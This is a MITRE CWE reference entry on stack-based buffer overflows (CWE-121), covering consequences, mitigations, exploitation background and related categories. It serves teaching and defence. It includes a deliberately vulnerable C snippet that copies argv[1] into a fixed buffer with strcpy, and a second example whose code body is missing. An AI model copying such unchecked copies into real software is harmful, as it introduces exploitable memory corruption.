2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships

Weakness ID: 121

Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Alternate Terms

Stack Overflow:	"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory) Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity Confidentiality Availability Access Control	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.
Integrity Confidentiality Availability Access Control Other	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Other When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Potential Mitigations

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	788	Access of Memory Location After End of Buffer

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

(bad code)

Example Language: C

#define BUFSIZE 256
int main(int argc, char **argv) {

char buf[BUFSIZE];
strcpy(buf, argv[1]);

}

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Observed Examples

Reference	Description
CVE-2021-35395	Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1365	ICS Communications: Unreliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Stack overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	CWE More Specific	Guarantee that storage for strings has sufficient space for character data and the null terminator